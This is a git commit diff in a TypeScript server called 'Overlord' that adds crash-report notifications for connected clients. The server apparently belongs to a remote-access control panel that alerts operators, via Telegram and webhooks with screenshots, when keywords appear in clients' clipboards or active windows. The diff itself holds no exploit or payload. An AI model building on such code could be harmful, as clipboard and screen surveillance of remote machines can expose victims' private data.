improve crash logs

This commit is contained in:
KingKDot
2026-06-30 14:35:27 -05:00
parent b5b50aa038
commit 01ecab779e
10 changed files with 136 additions and 10 deletions
@@ -20,9 +20,10 @@ export type NotificationRecord = {
title: string;
process?: string;
processPath?: string;
detail?: string;
pid?: number;
keyword?: string;
category: "active_window" | "clipboard";
category: "active_window" | "clipboard" | "crash_report";
ts: number;
screenshotId?: string;
};
@@ -50,10 +51,10 @@ export type UserDeliveryTarget = {
};
export const DEFAULT_WEBHOOK_TEMPLATE =
`{"type":"notification","data":{"title":"{title}","keyword":"{keyword}","clientId":"{clientId}","user":"{user}","host":"{host}","process":"{process}","os":"{os}","pid":"{pid}","ts":"{ts}"}}`;
`{"type":"notification","data":{"title":"{title}","keyword":"{keyword}","clientId":"{clientId}","user":"{user}","host":"{host}","process":"{process}","detail":"{detail}","os":"{os}","pid":"{pid}","ts":"{ts}"}}`;
export const DEFAULT_TELEGRAM_TEMPLATE =
`\u{1F514} Notification\nTitle: {title}\nKeyword: {keyword}\nClient: {clientId}\nUser: {user}\nHost: {host}\nProcess: {process}`;
`\u{1F514} Notification\nTitle: {title}\nKeyword: {keyword}\nClient: {clientId}\nUser: {user}\nHost: {host}\nProcess: {process}\nDetail: {detail}`;
const NOTIFICATION_SCREENSHOT_WAIT_MS = 5_000;
const NOTIFICATION_SCREENSHOT_POLL_MS = 250;
@@ -93,6 +94,7 @@ export function renderNotificationTemplate(
.replace(/{user}/g, record.user ?? "")
.replace(/{host}/g, record.host ?? "")
.replace(/{process}/g, record.process ?? "")
.replace(/{detail}/g, record.detail ?? "")
.replace(/{os}/g, record.os ?? "")
.replace(/{pid}/g, String(record.pid ?? ""))
.replace(/{ts}/g, String(record.ts ?? ""));
@@ -324,13 +326,16 @@ async function deliverWebPushToAll(
const targets = getUserDeliveryTargets(record.clientId);
const allowedUserIds = new Set(targets.map((t) => t.userId));
const title = record.keyword
const title = record.category === "crash_report"
? "Overlord \u2014 Crash Report"
: record.keyword
? `Overlord \u2014 ${record.keyword}`
: "Overlord \u2014 Notification";
const lines = [record.title];
if (record.user) lines.push(`User: ${record.user}`);
if (record.host) lines.push(`Host: ${record.host}`);
if (record.process) lines.push(`Process: ${record.process}`);
if (record.detail) lines.push(String(record.detail).slice(0, 300));
const payload = JSON.stringify({
type: "notification",
@@ -270,6 +270,10 @@ type WsLifecycleDeps = {
event: "client_online" | "client_offline" | "client_purgatory",
info: { id: string; host?: string; user?: string; os?: string; ip?: string; country?: string },
) => void;
handleCrashReport: (
clientId: string,
crash: { reason: string; detail?: string; host?: string; user?: string; os?: string },
) => void;
};
const ENROLLMENT_TIMEOUT_MS = 30_000;
@@ -308,6 +312,12 @@ function computeKeyFingerprint(publicKeyBase64: string): string {
return hash;
}
function sanitizeCrashString(value: unknown, maxLen: number): string | undefined {
if (typeof value !== "string") return undefined;
const clean = value.replace(/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/g, "").trim();
return clean ? clean.slice(0, maxLen) : undefined;
}
export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLifecycleDeps): void {
const role = ws.data.role as string;
const clientId = ws.data.clientId;
@@ -650,6 +660,18 @@ export async function handleWebSocketMessage(
lastSeen: Date.now(),
});
await handleHello(infoObj, payload as Hello, ws, ip);
const lastCrashReason = sanitizeCrashString((payload as any).lastCrashReason, 64);
if (lastCrashReason) {
deps.handleCrashReport(resolvedId, {
reason: lastCrashReason,
detail: sanitizeCrashString((payload as any).lastCrashDetail, 1200),
host: infoObj.host,
user: infoObj.user,
os: infoObj.os,
});
}
const notificationConfig = deps.getNotificationConfig();
try {
ws.send(
@@ -667,7 +689,6 @@ export async function handleWebSocketMessage(
logger.warn(`[purgatory] failed to send hello_ack to ${resolvedId}: ${sendErr}`);
}
await handleHello(infoObj, payload as Hello, ws, ip);
scheduleQueuedClientDbFlush();
clientManager.addClient(infoObj.id, infoObj);
@@ -19,9 +19,10 @@ type NotificationRecord = {
title: string;
process?: string;
processPath?: string;
detail?: string;
pid?: number;
keyword?: string;
category: "active_window" | "clipboard";
category: "active_window" | "clipboard" | "crash_report";
ts: number;
screenshotId?: string;
};
@@ -371,6 +372,53 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
);
},
handleCrashReport(
clientId: string,
crash: { reason: string; detail?: string; host?: string; user?: string; os?: string },
) {
const reason = String(crash.reason || "").trim();
if (!reason) return;
const info = clientManager.getClient(clientId);
const detail = String(crash.detail || "").trim();
const record: NotificationRecord = {
id: uuidv4(),
clientId,
host: crash.host || info?.host,
user: crash.user || info?.user,
os: crash.os || info?.os,
title: `Client crash report: ${reason}`,
process: "crash report",
processPath: detail,
detail,
keyword: "crash",
category: "crash_report",
ts: Date.now(),
};
logger.warn(`[notify] crash report client=${clientId} reason=${reason}`);
saveNotification(record);
if (deps.isClientNotificationsMuted(clientId)) {
return;
}
for (const session of sessionManager.getAllNotificationSessions().values()) {
const sRole = session.userRole ?? session.viewer.data.userRole ?? "";
const sUserId = session.userId ?? session.viewer.data.userId;
if (sRole !== "admin") {
if (sUserId === undefined || !deps.canUserAccessClient(sUserId, sRole, clientId)) {
continue;
}
}
safeSendViewer(session.viewer, { type: "notification", item: record });
}
deps.deliverNotificationWithScreenshot(record).catch((err) =>
logger.warn("[notify] crash report delivery failed", err),
);
},
handleNotificationScreenshotFailure(commandId?: string, ok?: boolean, message?: string) {
if (!commandId) return;
if (ok === true) return;